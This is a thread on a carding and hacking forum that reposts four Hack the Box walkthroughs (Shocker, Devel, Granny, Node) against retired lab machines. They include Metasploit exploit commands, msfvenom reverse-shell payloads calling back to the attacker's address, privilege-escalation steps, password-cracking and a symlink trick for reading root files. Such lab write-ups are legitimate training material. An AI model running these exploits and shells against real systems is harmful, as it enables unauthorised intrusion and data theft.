[Guide] How to Hack the Box Challenge: Shocker Walkthrough

[Guide] How to Hack the Box Challenge: Shocker Walkthrough - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to Hack the Box Challenge: Shocker Walkthrough (/Thread-Guide-How-to-Hack-the-Box-Challenge-Shocker-Walkthrough)

[Guide] How to Hack the Box Challenge: Shocker Walkthrough - NINZA - 05-14-2020

Hello friends!! Today we are going to solve another CTF challenge “Shocker” which is lab presented by Hack the Box for making online penetration practices according to your experience level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab, therefore, we have chosen retried Shocker lab.
Level: Beginners
Task: find user.txt and root.txt file in the victim’s machine.
Let’s Breach!!!
Firstly let’s enumerate ports in context to identify running services and open ports of victim’s machine by using the most popular tool Nmap.
nmap -A 10.10.10.56
1
nmap -A 10.10.10.56
Awesome!! Nmap has done a remarkable job by dumping the details of services running on open port 80, 2222.
[Image: 1.png?w=687&ssl=1]

Knowing port 80 is open on the victim’s network we preferred to explore his IP in the browser and the following image as shown below.
[Image: 2.png?w=687&ssl=1]

Next, we use the dirb tool of kali to enumerate the directories and found some important directories such as /cgi-bin, index.html, server-status
dirb

[To see content please register here]

1
dirb

[To see content please register here]

As /cgi-bin / is a restricted directory, let’s look for a .sh file in the directory using dirb
dirb

[To see content please register here]

-X .sh
1
dirb

[To see content please register here]

-X .sh

Great we have the user.sh in the cgi-bin directory. We downloaded the user.sh by opening the URL

[To see content please register here]

Now let’s open the user.sh file using cat
cat user.sh
1
cat user.sh
If you will Google for Apache web server with URI of /cgi-bin/ then you will realize that it could be Shellshock vulnerability, therefore, let for its exploitation using Metasploit.
[Image: 6.png?w=687&ssl=1]

Open a terminal type msfconsole for loading metasploit framework and use following module. This module targets CGI scripts in the Apache web server by setting the HTTP_USER_AGENT environment variable to a malicious function definition.
use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf exploit(apache_mod_cgi_bash_env_exec) >set rhost 10.10.10.56
msf exploit(apache_mod_cgi_bash_env_exec) >set lhost 10.10.14.6
msf exploit(apache_mod_cgi_bash_env_exec) >set targeturi /cgi-bin/user.sh
msf exploit(apache_mod_cgi_bash_env_exec) >expoit
1
2
3
4
5
use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf exploit(apache_mod_cgi_bash_env_exec) >set rhost 10.10.10.56
msf exploit(apache_mod_cgi_bash_env_exec) >set lhost 10.10.14.6
msf exploit(apache_mod_cgi_bash_env_exec) >set targeturi /cgi-bin/user.sh
msf exploit(apache_mod_cgi_bash_env_exec) >expoit
And we got victim’s reverse connection through meterpreter session 1 and hence our prediction is true the target was vulnerable to shellshock.
[Image: 7.png?w=687&ssl=1]

Now let’s finish the task by grabbing user.txt and root.txt file. First I move into /home directory and check available files and directories inside it.
cd /home
ls
1
2
cd /home
ls
Here one directory shelly, when I explore /shelly I saw user.txt and use cat command for reading.
cd shelly
ls
cat user.txt
1
2
3
cd shelly
ls
cat user.txt
Great!! Here we had completed 1st task now move to 2nd tasK
[Image: 9.png?w=687&ssl=1]

For accessing root directory we need root privilege therefore next we use python one-liner for spawning pty shell.
Great!! I logged in successfully and check shelly’s privileged and roles using sudo -l and found he has root privileged and an indication for a directory /usr/bin/perl with NOPASSWD. Now let’s get the root.txt by executing the following command.
sudo perl –e 'exec "/bin/sh"'
id
ls
cat root.txt
1
2
3
4
sudo perl –e 'exec "/bin/sh"'
id
ls
cat root.txt
We have successfully completed the 2nd task.
Enjoy Hacking!!
[Image: 10.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Devel” which is categories as retired lab presented by Hack the Box for making online penetration practices. Challenges in this lab are very easy to complete even for beginners.
Level: Beginners
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Devel is 10.10.10. 5 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.5
1
nmap -A 10.10.10.5
From given below image, you can observe we found port 21 and 80 are open and anonymous FTP login is allowed in victim’s network, therefore let’s go with FTP login.
[Image: 1.png?w=687&ssl=1]

By using Anonymous: anonymous login credential you will get successfully access of FTP server via port 21 as shown below.
[Image: 2.png?w=687&ssl=1]

From given below image you can perceive we have access to the remote machine. From here I can upload or download any file therefore now my next strategy will be to upload a backdoor file to victim’s machine.
[Image: 3.png?w=687&ssl=1]

Without wasting time we had generated aspx backdoor using msfvenom with help of the following command and start multi handler in Metasploit framework.
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f aspx > shell.aspx
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f aspx > shell.aspx
[Image: 4.png?w=687&ssl=1]

Then transfer your shell.aspx file into victims’ system using Filezilla.
[Image: 5.png?w=687&ssl=1]

Now time to execute our shell through a web browser as shown below in the image.

[To see content please register here]

After executing uploaded backdoor file come back to the Metasploit framework and wait for the meterpreter session.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.6
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.6
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe meterpreter session1 opened for accessing victim tty shell.
meterpreter>sysinfo
1
meterpreter>sysinfo
[Image: 6.png?w=687&ssl=1]

Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for the further exploit. The exploits are recommended founded on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter.
use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
msf post(multi/recon/local_exploit_suggester) > exploit
1
2
3
use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
msf post(multi/recon/local_exploit_suggester) > exploit
Wonderful!! Exploit Suggester truly proof itself by suggesting another exploit name to which target is vulnerable. So now we will go with the last option as highlighted in the image.
[Image: 7.png?w=687&ssl=1]

use exploit/windows/local/ms10_015_kitrap0d
msf exploit(ms10_015_kitrap0d) >set lhost 10.10.14.6
msf exploit(ms10_015_kitrap0d) >set lport 4321
msf exploit(ms10_015_kitrap0d) >set session 2
msf exploit(ms10_015_kitrap0d) >exploit
1
2
3
4
5
use exploit/windows/local/ms10_015_kitrap0d
msf exploit(ms10_015_kitrap0d) >set lhost 10.10.14.6
msf exploit(ms10_015_kitrap0d) >set lport 4321
msf exploit(ms10_015_kitrap0d) >set session 2
msf exploit(ms10_015_kitrap0d) >exploit
The above-exploited module will create a new session with SYSTEM privileges via the KiTrap0D exploit.
Nice!! It works and we got new meterpreter session as system user and you can check in below image.
meterpreter > getuid
1
meterpreter > getuid
As we have tty shell that has system privileges now let’s complete this task my searching user.txt and root.txt flag which is hidden somewhere inside a directory.
[Image: 8.png?w=687&ssl=1]

meterpreter > ls
1
meterpreter > ls
We have successfully grabbed the user.txt file from C:\Users\babis\Desktop and similarly we found root.txt from C:\Users\Administrator \Desktop.
Wonderful!! We had completed the task and hacked this box.
[Image: 9.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Granny” which is categories as retired lab presented by Hack the Box for making online penetration practices. Challenges in this lab are not hard to complete although they are like a brain teaser for the beginner as well as for expert penetration tester too.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Granny is 10.10.10.15 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.15
1
nmap -A 10.10.10.15
From the given below image, you can observe we found port 80 is open and Microsoft IIS 6.0 is running in victim’s network.
[Image: 1.png?w=687&ssl=1]

Significant port 80 is open in the victim’s network we preferred to explore his IP in the browser and resulting web page is shown below.
[Image: 2.png?w=687&ssl=1]

Since we know Microsoft IIS httpd 6.0 is running in victims system therefore when I Google I found Rapid 7 exploit for this as highlighted in given below image.
[Image: 3.1.png?w=687&ssl=1]

Without wasting time I open a new terminal and type msfconsole for loading Metasploit framework and use module iis_webdav for exploiting targets system.
use exploit/windows/iis/iis_webdav_upload_asp
msf exploit(windows/iis/iis_webdav_upload_asp) >set rhost 10.10.10.15
msf exploit(windows/iis/iis_webdav_upload_asp) >run
1
2
3
use exploit/windows/iis/iis_webdav_upload_asp
msf exploit(windows/iis/iis_webdav_upload_asp) >set rhost 10.10.10.15
msf exploit(windows/iis/iis_webdav_upload_asp) >run
From given below image you can observe meterpreter shell session1 opened for accessing victim tty shell.
[Image: 3.png?w=687&ssl=1]

Every time my meterpreter session get died therefore I go post exploitation for migrating current process into another process by executing the following module.
use post/windows/manage/migrate
msf post(windows/manage/migrate)>set session 1
msf post(windows/manage/migrate)> run
1
2
3
use post/windows/manage/migrate
msf post(windows/manage/migrate)>set session 1
msf post(windows/manage/migrate)> run
Above module will migrate a Meterpreter session from one process to another. A given process PID to migrate to or the module can spawn one and migrate to that newly spawned process.
[Image: 4.png?w=687&ssl=1]

At this time use pprFlattenRec Local Privilege Escalation module for making unauthorized access again but as privileged user.
use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) >set session 1
msf exploit(windows/local/ppr_flatten_rec) >set wait 20
msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.6
msf exploit(windows/local/ppr_flatten_rec) > exploit
1
2
3
4
5
use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) >set session 1
msf exploit(windows/local/ppr_flatten_rec) >set wait 20
msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.6
msf exploit(windows/local/ppr_flatten_rec) > exploit
Nice!! It works and we got meterpreter session 2 as system user and you can check in below image.
[Image: 6.png?w=687&ssl=1]

meterpreter > getuid
1
meterpreter > getuid
As we have tty shell that has system privileges now let’s complete this task my searching user.txt and root.txt flag which is hidden somewhere inside a directory.
meterpreter > ls
1
meterpreter > ls
Here we found Document and setting let’s explore
[Image: 7.png?w=687&ssl=1]

Inside C:\Document and Setting\Lakis\Desktop I found the user.txt file and used the type “filename” command for reading this file.
cd Lakis/Desktop
cat user.txt
1
2
cd Lakis/Desktop
cat user.txt
Great!! We got our 1st flag successfully
[Image: 10.png?w=687&ssl=1]

Inside C:\Document and Setting\Administrtator\Desktop I found the root.txt file and used the type “filename” command for reading this file.
cd Administrator/Desktop
cat root.txt
1
2
cd Administrator/Desktop
cat root.txt
Great!! We got our 2nd flag successfully
Breaching this lab was an interesting and enjoyable moment for me. It will take less time if you are aware of proper Metasploit exploits. Therefore I will give all Glory to Metasploit for making this challenge easy for me.
Happy Hacking!!
[Image: 11.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Node” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Intermediate
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.58 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.58
From given below image, you can observe we found port 22 and 3000 are open in victim’s network.
[Image: 1.png?w=687&ssl=1]

Knowing port 3000 is running HTTP on target machine we preferred to explore his IP our browser.
[Image: 2.png?w=687&ssl=1]

We don’t find anything on the home page so we take a look at the source code of the page and go through javascripts. In one of the javascript we find a link to a page called /api/users/latest.
[Image: 3.png?w=687&ssl=1]

We open /api/users and find a username and passwords in the hash.
[Image: 4.png?w=687&ssl=1]

We use

[To see content please register here]

to decode the hashes that we found earlier.
[Image: 5.png?w=687&ssl=1]

We click on login and use one the username to login with its corresponding password. When we log in we find an option to download the backup. We click on it and it downloads a file called “myplace.backup”.
[Image: 6.png?w=687&ssl=1]

We try to take a look at the downloaded file and find that it is base64 encoded.
[Image: 7.png?w=687&ssl=1]

We decode the backup file and find it to be a zip file.
cat myplace.backup | base64 --decode > myplace
1
cat myplace.backup | base64 --decode > myplace
[Image: 8.png?w=687&ssl=1]

When we try to unzip the file it asks for a password, so we use fcrackzip to brute-force the zip file using rockyou.txt as wordlist. After brute-forcing the file we find the password; we use this password to unzip the file.
fcrackzip -D -p /usr/share/wordlists/rockyou.txt data.zip
1
fcrackzip -D -p /usr/share/wordlists/rockyou.txt data.zip
[Image: 9.png?w=687&ssl=1]

After unzipping the file we find a file few HTML and javascript files that look like the implementation of node.js. In app.js we find the username and password hash for monogDB.
[Image: 10.png?w=687&ssl=1]

We use this username and password to login through ssh into the target machine.
[Image: 11.png?w=687&ssl=1]

We use wget to download the linEnum.sh file into the target machine and use it to enumerate the machine.
[Image: 15.png?w=687&ssl=1]

After logging in through ssh we download linEnum.sh into the target machine to enumerate the target machine and look for privilege escalation vectors.
[Image: 16.png?w=687&ssl=1]

We find 3 directories inside the home that means there may be 3 users with this name.
[Image: 17.png?w=687&ssl=1]

When we take a look at the process running into the system, we find that it is running app.js as tom user.
[Image: 18.png?w=687&ssl=1]

We open app.js and find the same username and password that we found earlier. It means that its backup was created using some script or program that we find earlier. Going through the file we also find this script calls for a file called backup in /usr/local/bin directory and uses a key to create a backup.
[Image: 19.png?w=687&ssl=1]

Now that we know that the target machine is running mongoDB we use this to exploit the system and get a reverse shell.
We first create a python one-liner reverse shell using msfvenom.
msfvenom -p cmd/unix/reverse_python lhost=10.10.14.3 lport 8765 R
1
msfvenom -p cmd/unix/reverse_python lhost=10.10.14.3 lport 8765 R
[Image: 20.png?w=687&ssl=1]

We copy the python command and paste in a bash file in /var/www/html in our system. Now we use wget to download it into the target machine. We get it read, write and execute permission using chmod. We then schedule mongoDB to run the file using the username mark and the password we find in the javascript file.
[Image: 21.png?w=687&ssl=1]

We then set up our listener using netcat and wait for the reverse shell. After getting the reverse shell we spawn a tty shell using python and we find that we are login as tom user. Now we go to /home/tom directory and find the user.txt; when we open the file we get our first flag.
[Image: 22.png?w=687&ssl=1]

Now we create a new directory test, and we then symlink root.txt in root directory with /tmp/test. We then use backup binary to create a zip file that creates a backup for /tmp/test/ directory. As /tmp/test directory is linked to /root/root.txt it will actually create backup of the root.txt file in root directory.
mkdir test
ln -s /root/root.txt /tmp/test
/usr/bin/backup -q “the key in app.js” /tmp/test
1
2
3
mkdir test
ln -s /root/root.txt /tmp/test
/usr/bin/backup -q “the key in app.js” /tmp/test
[Image: 23.png?w=687&ssl=1]

We again go the web page and download the backup file. We decode it in the similar manner we did earlier and use the password “magicword” we found earlier to unzip the file. After unzipping the file we find root.txt when we open the file we find our final flag.
[Image: 24.png?w=687&ssl=1]